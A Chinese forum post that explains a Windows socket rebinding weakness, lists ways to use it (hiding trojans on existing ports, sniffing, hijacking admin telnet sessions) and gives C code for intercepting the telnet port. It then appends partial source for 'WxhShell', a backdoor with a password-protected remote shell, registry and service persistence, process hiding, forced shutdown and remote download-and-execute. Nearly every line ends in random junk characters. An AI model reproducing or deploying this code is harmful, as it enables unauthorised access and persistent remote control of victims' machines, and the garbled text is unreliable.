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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b&f;p}C24  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :j)H;@[I  
FVNxjMm,  
  saddr.sin_family = AF_INET; -K hXb  
h~)oiT2v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4vq,W_n.hQ  
xwhH_[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2qLRcA=R  
SV}q8z\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p(in.Xz  
>H?l[*9  
  这意味着什么?意味着可以进行如下的攻击: 9 =7),`$  
j38>,9u,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1A"h!;0  
&@u;xc| v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -fFM-gt^t  
o6,$;-?F_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jE|Ju:}&  
D[U[ D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  - ?_aYJ  
3CK4a,]Dm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _doX&*9u  
dIgaw;Ch]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /_ }xTP"9  
GzxtC  &  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R`q*a_  
QNj hA'[T  
  #include b3N>RPsHS  
  #include =Bo(*%  
  #include Cy-q9uTm  
  #include    v*`$is+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8gwJ%"-K  
  int main()  5 fY\0  
  { JYB"\VV  
  WORD wVersionRequested; j3jf:7 /\  
  DWORD ret; 2V %si6  
  WSADATA wsaData; ${Cb1|g>j  
  BOOL val; `p1szZD&  
  SOCKADDR_IN saddr; Se/VOzzg  
  SOCKADDR_IN scaddr; U\'.rT[#  
  int err; [<`K%1GQ  
  SOCKET s; 6KC.l}Y*  
  SOCKET sc; ~Fp,nE-B  
  int caddsize; | Z'NMJU  
  HANDLE mt; HTiqErD2_  
  DWORD tid;   |!:ImX@  
  wVersionRequested = MAKEWORD( 2, 2 ); tn!z^W  
  err = WSAStartup( wVersionRequested, &wsaData ); n:d]Z2b  
  if ( err != 0 ) { HEHTj,T  
  printf("error!WSAStartup failed!\n"); IH8^ fyQ`  
  return -1; u&Ts'j  
  } |:Gz9u+  
  saddr.sin_family = AF_INET; Hf!o6 o  
   Hv2t_QjKT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T^.;yU_B?  
qD Z?iTHQq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  Ht| No  
  saddr.sin_port = htons(23); gjB36R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }PdS?[R  
  { 7wS )'zR;  
  printf("error!socket failed!\n"); +M-x*;.  
  return -1; ZlD\)6 dZ  
  } H1X38  
  val = TRUE; K0$8t%Z.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ; mnV)8:F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^Uss?)jN4  
  { 17g\XC@ Cl  
  printf("error!setsockopt failed!\n"); S^0Po%d  
  return -1; aC:Sy^Tf  
  } 5q?2?j/h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D# |+PG7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $/^DY&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~?i;~S  
Si#I^aF`%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KPO?eeT.WZ  
  { ZYDLl8  
  ret=GetLastError(); a_Y*pOu  
  printf("error!bind failed!\n"); dU%Q=r8R  
  return -1; ?oF+?l  
  } 1%~yb Q  
  listen(s,2); EUH&"8 L  
  while(1) ^_W+  
  { DZo7T!  
  caddsize = sizeof(scaddr); 0gdFXh$!e  
  //接受连接请求 (XW\4msB)I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h?E[28QB  
  if(sc!=INVALID_SOCKET) Gq%q x4  
  { 3\_ae2GW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 70bI}/u  
  if(mt==NULL) ~ED8]*H|`  
  { ;|_aACina  
  printf("Thread Creat Failed!\n"); 3aIP^I1  
  break; vf6_oX<Os  
  } |hBX"  
  } KW.*LoO  
  CloseHandle(mt); v5 STe`  
  } 9}p>='  
  closesocket(s); g-`HKoKe  
  WSACleanup(); C "XvspJ  
  return 0; G|eY$5!i  
  }   rMRM*`Q2  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^<X+t&!z  
  { N~7xj?  
  SOCKET ss = (SOCKET)lpParam; !$&k@#v:  
  SOCKET sc; K=,nX7Z5  
  unsigned char buf[4096]; )p*I(y  
  SOCKADDR_IN saddr; VN!`@Ci/  
  long num; S+(TRIjk  
  DWORD val; #'5|$ug[  
  DWORD ret; ":s1}A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 al>^}:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RsV<4$  
  saddr.sin_family = AF_INET; A9Cq(L_H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rg Gm[SL*<  
  saddr.sin_port = htons(23); m(MPVY<X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?sfas57&y  
  { `o~ dQb/k+  
  printf("error!socket failed!\n"); iSD E6  
  return -1; |  RMIV  
  } Py2AnpYa  
  val = 100; %:i; eUKR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  2fZVBj  
  { M- inlZNR  
  ret = GetLastError(); XaT9`L<  
  return -1; )~/;Xl#b-  
  } 0>@D{_}s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V1 y"  
  { lAjP'(  
  ret = GetLastError(); 6mcxp+lm|  
  return -1; _}MO.&Y  
  } =eG?O7z&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DmDsn  
  { HJ4T! `'d  
  printf("error!socket connect failed!\n"); ^s*j<fH  
  closesocket(sc); anDwv }  
  closesocket(ss); i-1lppI  
  return -1;  mZGAl1`8  
  } .m--# r  
  while(1) ! 6y<jJ>  
  { 0 *!CJ;%N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]2O52r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dkTewT6'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 M"cB6{st[  
  num = recv(ss,buf,4096,0); JjBG9Rp{  
  if(num>0) cuv?[ M  
  send(sc,buf,num,0); G@s]HJ:  
  else if(num==0) j7LuN  
  break; LxD >eA  
  num = recv(sc,buf,4096,0); wHneVqI/U  
  if(num>0) \HR<^xY  
  send(ss,buf,num,0); "},0Cs  
  else if(num==0) zadn`B#2  
  break; Md!L@gX6<  
  } b| e7mis@  
  closesocket(ss); yGGQ;!/  
  closesocket(sc); K@uUe3  
  return 0 ; {+D 6o  
  } ey'x3s_  
<cC0l-=  
Djv0]Sm^!  
========================================================== i WCR 5c=  
BS-nny  
下边附上一个代码,,WXhSHELL w[`2t{^j  
Po+I!TL'  
========================================================== #<_gY  
sK1YmB :~a  
#include "stdafx.h" 5Q_ T=TL  
QGv$~A[h  
#include <stdio.h> D,cGW,2Nv  
#include <string.h> Kob i!  
#include <windows.h> I~:vX^%9  
#include <winsock2.h> rByC6HV"  
#include <winsvc.h> -e#~CE-  
#include <urlmon.h> hN0Y8Ia/5%  
<P)U Ggd  
#pragma comment (lib, "Ws2_32.lib") 8GRp1'\Hi  
#pragma comment (lib, "urlmon.lib") jC<1bf$K  
syuW>Z8s  
#define MAX_USER   100 // 最大客户端连接数 Z0o+&3a6  
#define BUF_SOCK   200 // sock buffer $bf&ct*$h  
#define KEY_BUFF   255 // 输入 buffer )C?bb$  G  
7d9kr?3(U  
#define REBOOT     0   // 重启 jg2 UX   
#define SHUTDOWN   1   // 关机 cvoE4&m!  
T6T3:DG_B  
#define DEF_PORT   5000 // 监听端口 px|y_.DB2x  
PKDzIA~T  
#define REG_LEN     16   // 注册表键长度 "Jd!TLt\x  
#define SVC_LEN     80   // NT服务名长度 WCa>~dF>  
X5s.F%Np!  
// 从dll定义API j=r aS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o+9b%I^1V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %[1\d)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y}db<Cz X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5|T[:m  
RQaB _bg7  
// wxhshell配置信息 pKSn 3-A  
struct WSCFG { to}g4  
  int ws_port;         // 监听端口 Dt1v`T~=?  
  char ws_passstr[REG_LEN]; // 口令 ,'FH[2  
  int ws_autoins;       // 安装标记, 1=yes 0=no G9`;Z^<L  
  char ws_regname[REG_LEN]; // 注册表键名 i5f8}`w  
  char ws_svcname[REG_LEN]; // 服务名 $P=B66t ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 + F{hFuHV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D'{NEk@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4CUoXs'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2(SU# /,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <>gX'te  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TH;kJ{[}  
ny(`An  
}; 8$!&D&v  
Qqp_(5S|>  
// default Wxhshell configuration 4*j6~  
struct WSCFG wscfg={DEF_PORT, |@84l  
    "xuhuanlingzhe", dA)JR"r2  
    1, o'oA.'ul  
    "Wxhshell", (8Q0?SZN  
    "Wxhshell", 4rcNBmA,  
            "WxhShell Service", bOEO2v'cQ  
    "Wrsky Windows CmdShell Service", +"sjkdum1  
    "Please Input Your Password: ", &U_YDUQ'L  
  1, ]lT8Z-h@  
  "http://www.wrsky.com/wxhshell.exe", ^Y;}GeA,  
  "Wxhshell.exe" 7WEh'(`  
    }; %l4;-x<e  
^M:Y$9r_s  
// 消息定义模块 zmA]@'j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~}lYp^~:J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,M4G_U[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lpjeEaw o4  
char *msg_ws_ext="\n\rExit."; Ri<7!Y?l  
char *msg_ws_end="\n\rQuit."; fX ^h O+f  
char *msg_ws_boot="\n\rReboot..."; .Yw  
char *msg_ws_poff="\n\rShutdown..."; }9Th`   
char *msg_ws_down="\n\rSave to "; (D.B'V#>  
:,@"I$>*/  
char *msg_ws_err="\n\rErr!"; _Q9Mn-&qQ  
char *msg_ws_ok="\n\rOK!"; )bd)noZi  
$#ve^.VHv  
char ExeFile[MAX_PATH]; -Kas9\VWEw  
int nUser = 0; :4Gc'b R  
HANDLE handles[MAX_USER]; W2$MH: j  
int OsIsNt; 6 5%WjO  
lx'^vK%F  
SERVICE_STATUS       serviceStatus; }@)r\t4m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Li'>pQ+  
Z<yLu'48)A  
// 函数声明 vz$_Fgsc.  
int Install(void); xj ?#]GR  
int Uninstall(void); p#\JKx  
int DownloadFile(char *sURL, SOCKET wsh); #Nv^F  
int Boot(int flag); kFRl+,bi~  
void HideProc(void); gwA+%]  
int GetOsVer(void); N$!aP/b  
int Wxhshell(SOCKET wsl); *?JNh;  
void TalkWithClient(void *cs); qG6?k}\\  
int CmdShell(SOCKET sock); "jUM}@q5  
int StartFromService(void); |;(95  
int StartWxhshell(LPSTR lpCmdLine); P&>!B,f  
q&DM*!Jq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wV604eO(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); azs lNL  
gNWTzz<[f>  
// 数据结构和表定义 [%0{7pz}  
SERVICE_TABLE_ENTRY DispatchTable[] = rN3qTp  
{ \&6^c=2=  
{wscfg.ws_svcname, NTServiceMain}, @#j?Z7E|  
{NULL, NULL} FI(iqSJ6  
}; qxQuXF>:#  
h 7P<3m}  
// 自我安装 n@JZ2K4  
int Install(void) '^{:HR#i  
{ +55+%oGl  
  char svExeFile[MAX_PATH]; M+L8~BD@  
  HKEY key; S"@/F- 81  
  strcpy(svExeFile,ExeFile); cIS?EW]S%X  
A_4.>g  
// 如果是win9x系统,修改注册表设为自启动 A6?!BB=]  
if(!OsIsNt) { tl=H9w&@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1_jd1 UT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NimW=X;c  
  RegCloseKey(key); G<$ N*3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;4'pucq5/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x+;a2yE~  
  RegCloseKey(key); m|M'vzu1  
  return 0; \) FFV-k5  
    } tKX+eA]  
  } sQXj?5!  
} Gp9:#L!  
else { ;:]#Isq  
3J_B uMV  
// 如果是NT以上系统,安装为系统服务 (-[73v-w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4Zn"K}q  
if (schSCManager!=0) Mb^E  
{ obz|*1M?  
  SC_HANDLE schService = CreateService ubQbEv{(,  
  ( WAUgbImc{  
  schSCManager, Xl %ax!/  
  wscfg.ws_svcname, CX}==0od  
  wscfg.ws_svcdisp, $<s;YhM:u)  
  SERVICE_ALL_ACCESS, J Q% D6b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7C>5XyyJ  
  SERVICE_AUTO_START, L)z`  
  SERVICE_ERROR_NORMAL, 1EemVZdY  
  svExeFile, +B&,$ceyaJ  
  NULL, '* eeup  
  NULL, ?/1Eu47  
  NULL, 1PUeU+  
  NULL, *DcB?8%  
  NULL 8W2oGL6  
  ); /wX5>^  
  if (schService!=0) Rn_FYP  
  { BW x=Q  
  CloseServiceHandle(schService); Js'j}w  
  CloseServiceHandle(schSCManager); tJvs ?eZ)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _'0C70  
  strcat(svExeFile,wscfg.ws_svcname); NZL$#bRB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mHF? t.y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /Y`u4G()  
  RegCloseKey(key); '/'dg5bfV  
  return 0; m>9j dsqB  
    } 9SQc ChG~j  
  } 2r"J"C  
  CloseServiceHandle(schSCManager); EM7Z g 65  
} C0}@0c  
} })y B2Q0  
l{mC|8X  
return 1; H(gETRh  
} bV&"jjEx  
6qd?&.=r  
// 自我卸载 =mYwO=:D  
int Uninstall(void) Y=ksrs>w  
{ 80%L!x|  
  HKEY key; e X{#F gFc  
2_Gb K-  
if(!OsIsNt) { WNSY@q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gVI{eoJ  
  RegDeleteValue(key,wscfg.ws_regname); n09P!],Xa  
  RegCloseKey(key); eL_Il.:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &7r73~TXm  
  RegDeleteValue(key,wscfg.ws_regname); 0fog/c#q(  
  RegCloseKey(key); BMO&(g  
  return 0; &&ZX<wOM  
  } dCA! R"HD  
} )Ah7  
} 5ENEx  
else { ~X<?&;6  
FWW*f _L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d]K$0HY  
if (schSCManager!=0) `t#9 yN  
{ -<l2 $&KS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V~sfR^FQ'  
  if (schService!=0) ] @uuB\u  
  { * /^}  
  if(DeleteService(schService)!=0) { $'n?V=4  
  CloseServiceHandle(schService); ]P >c{  
  CloseServiceHandle(schSCManager); 0{(5J,/BF  
  return 0; qH(HcsgD  
  } dC>(UDC  
  CloseServiceHandle(schService); ,Bs/.htQj  
  } )I"I[jDw  
  CloseServiceHandle(schSCManager); PYiO l  
} %.WW-S3  
} 6xLQ  
wpg7xx!  
return 1; Ot{~mMDp  
} 5><T#0W?  
f0{j/+F_o  
// 从指定url下载文件 xri(j,mU  
int DownloadFile(char *sURL, SOCKET wsh) k\X yR4r  
{ 8RT<?I^5  
  HRESULT hr; Gdz*   
char seps[]= "/"; p$}/~5b}4  
char *token; ^B!()39R?  
char *file; _+OCI%=:  
char myURL[MAX_PATH]; Zi}j f25  
char myFILE[MAX_PATH]; E:y^= Y  
n.XgGT=L  
strcpy(myURL,sURL); ,uPN\`.u8  
  token=strtok(myURL,seps); >P ~j@Lv  
  while(token!=NULL) P)O:lYX  
  { ^Rh}[  
    file=token; * !9=?  
  token=strtok(NULL,seps); S1#5oy2  
  } c8Nl$|B  
Nw '$r  
GetCurrentDirectory(MAX_PATH,myFILE); Q^8/"aV\  
strcat(myFILE, "\\"); 8@/MrEOW#  
strcat(myFILE, file); FXul u6"SX  
  send(wsh,myFILE,strlen(myFILE),0); Fl!D2jnN  
send(wsh,"...",3,0); 3oV2Ek<d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LkWY6 ?$U  
  if(hr==S_OK) F!g;}_s9  
return 0; P$.$M}rMv  
else &crR nv ?  
return 1; A 8g_BLj!e  
qJE_4/<^!  
} Sx1|Oq]  
[ldBI3  
// 系统电源模块 "m`}J*s"  
int Boot(int flag) X\kWJQ:  
{ 2BiFP||  
  HANDLE hToken; (+SL1O P  
  TOKEN_PRIVILEGES tkp; :j? MEeu  
ipE|)Ns  
  if(OsIsNt) { [?bq4u`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U6.hH%\}@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v'm-A d+4t  
    tkp.PrivilegeCount = 1; yxi&80$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %,S{9q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o]WcODJdl  
if(flag==REBOOT) { y>cLG5v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #jsN  
  return 0; Bus]OF>hu  
} 4dy!2KZN  
else { ^r,0aNzAs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7K1_$vd  
  return 0; Pif-uhOk%  
} %rV|{@J `  
  } <zm:J4&>T  
  else { fmD~f  
if(flag==REBOOT) { +BDW1%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $)$_}^.k  
  return 0; eVd:C8q  
} G#ELQ/Q  
else { _St ":9'uU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ke k/C`7  
  return 0; S$gLL kD1  
} =!)x`1j!S  
} ?dXAHY  
.[+}nA,g%~  
return 1; jz S iw z  
}  tN.$4+  
hiv {A9a?  
// win9x进程隐藏模块 _2{2Xb  
void HideProc(void) \Rs9B .  
{ qMoo#UX  
-3 Sb%V\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L={\U3 __k  
  if ( hKernel != NULL ) u}P:9u&h6X  
  { BLAF{vVaf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); my/KsB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FzykC  
    FreeLibrary(hKernel); QNXoAx%I  
  } _.E{>IFw  
AxeQv'e  
return; 6"NtVfui  
} X(BX+)YR  
M!i*DU+SE  
// 获取操作系统版本 *sau['Ha  
int GetOsVer(void) i6$HwRZm#  
{ L2_[M'  
  OSVERSIONINFO winfo; R"l6|9tmP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B_D0yhh  
  GetVersionEx(&winfo); zeq")A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @n=&muC}  
  return 1; vvs2:87zvJ  
  else 6=qC/1,l  
  return 0; X{(?p=]  
} MPKrr  
)a5ON8?  
// 客户端句柄模块 `,]_r 4~ ~  
int Wxhshell(SOCKET wsl) K#'$_0.  
{ ^I yYck'y+  
  SOCKET wsh; KYwUkuw)  
  struct sockaddr_in client; io(!z-$  
  DWORD myID; A@Lr(L  
 ?!<Q8=  
  while(nUser<MAX_USER) 7yXJ\(6R_  
{ lMG+,?<uK&  
  int nSize=sizeof(client); 1wH6 hN,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1k^$:'  
  if(wsh==INVALID_SOCKET) return 1; F|VKrH.  
?|pP&8r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jE=m4_Ntn  
if(handles[nUser]==0) BsL+9lNue  
  closesocket(wsh); @!j6y (@  
else 8TG|frS  
  nUser++; UG_ PrZd  
  } h?$J;xn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cM CM>*X  
*&\6x}.I4  
  return 0; cr|]\  
} CU*TY1%  
t)uxW 7  
// 关闭 socket kr@!j@j$  
void CloseIt(SOCKET wsh) ! 2knS S  
{ ~H:=p  
closesocket(wsh); U&=pKbTe  
nUser--; Rkp +}@Y_  
ExitThread(0); Bo14t*(  
} q`.=/O'  
Lb?q5_  
// 客户端请求句柄 )q.ZzijG/  
void TalkWithClient(void *cs) 8 R7w$3pp\  
{ , s otZT  
7 h0u7N  
  SOCKET wsh=(SOCKET)cs; q@~{ g[   
  char pwd[SVC_LEN]; p~Cz6n  
  char cmd[KEY_BUFF]; 7+}WU4  
char chr[1]; [8q`~S%-]  
int i,j; XT*/aa-1'  
Z_edNf }|  
  while (nUser < MAX_USER) { D(TG)X?  
N{ $?u  
if(wscfg.ws_passstr) { p|NY.N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H+-x.l`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GN Ewq$  
  //ZeroMemory(pwd,KEY_BUFF); /hmDeP o}  
      i=0; ~-y&C%  
  while(i<SVC_LEN) { {0n p  
|(2#KMEWa  
  // 设置超时 b:r8r}49  
  fd_set FdRead; e@;'#t  
  struct timeval TimeOut; xf8[&?  
  FD_ZERO(&FdRead); $E[M[1j  
  FD_SET(wsh,&FdRead); AWPgrv/  
  TimeOut.tv_sec=8; S8+l!$7   
  TimeOut.tv_usec=0; ya5HAs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iz83T9I&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q`6hJgyL  
$tXW/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8~yP?#p  
  pwd=chr[0]; 7'65+c[&  
  if(chr[0]==0xd || chr[0]==0xa) { :-<30LS $  
  pwd=0; H=*0KX{  
  break; V6_5v+n  
  } Y2'HP)tfIw  
  i++; WNb2"W  
    } \x:U`T  
\IYv9ScAx  
  // 如果是非法用户,关闭 socket Vgkj4EE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N6p0`  
} )V+/@4  
I<,~>'cq.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {T,}]oX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); US^%pd  
$T:;Kc W)  
while(1) { <P ?gP1_zi  
kOdpW  
  ZeroMemory(cmd,KEY_BUFF); kP/<S<h,g  
Y2tBFeWY  
      // 自动支持客户端 telnet标准   !4gHv4v ;  
  j=0; n[r1h=?j3  
  while(j<KEY_BUFF) { ujN~l_ 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {dP6fr1z  
  cmd[j]=chr[0]; $)c[FR~a  
  if(chr[0]==0xa || chr[0]==0xd) { MxI*ml8z?  
  cmd[j]=0; %X^qWKix}m  
  break; BzH0"xq^  
  } E(_k#X  
  j++; RRYcg{g  
    } :f%kk atO  
,UC|[-J  
  // 下载文件 fVa z'R  
  if(strstr(cmd,"http://")) { BB9eQ: xO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =sv?))b`  
  if(DownloadFile(cmd,wsh)) a5O$he  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %C #Ps   
  else qmGHuQVe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PX0N7L  
  } p,|)qr:M  
  else { 5D?{dA:Rq  
l+@k:IK  
    switch(cmd[0]) { CS*lk!C  
  d8R|0RZ  
  // 帮助 d(d3@b4Ta  
  case '?': { #Tag"b`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xXI WEZA  
    break; fk6=;{  
  } ;{&4jcV*  
  // 安装 L0H^S)g  
  case 'i': { `1Md1e:J  
    if(Install()) i$}G[v<4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s!yD%zO  
    else 59:kL<;S-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ._;It198f  
    break; +XX5;;IC  
    } r4gLoHD)  
  // 卸载 BT;1"l<  
  case 'r': { `WxGU  
    if(Uninstall()) P,F5Hf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S:xs[b.ZZ  
    else hBcklI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QkTU@T6>o  
    break; +!`$(  
    } p14$XV  
  // 显示 wxhshell 所在路径 <&B] p  
  case 'p': { +]yVSns 3  
    char svExeFile[MAX_PATH]; \>w 2D  
    strcpy(svExeFile,"\n\r"); s2 aFme  
      strcat(svExeFile,ExeFile); DAtAc(05)  
        send(wsh,svExeFile,strlen(svExeFile),0); f4dHOH  
    break; 7~P!Z=m^^f  
    } 8(A k  
  // 重启 )liNjY@  
  case 'b': { h]|2b0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :'fK`G 6  
    if(Boot(REBOOT)) {+kWK;1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+lye Ir'  
    else { AGVipI #  
    closesocket(wsh); aK,\e/Oo  
    ExitThread(0); m{lS-DlRg  
    } g&ba]?[A  
    break; ^Ga_wJP8S  
    } TC:t!:  
  // 关机 4zBcq<R7  
  case 'd': { ;t@^Z_z,CR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d)$ seZB  
    if(Boot(SHUTDOWN)) K #JO#  
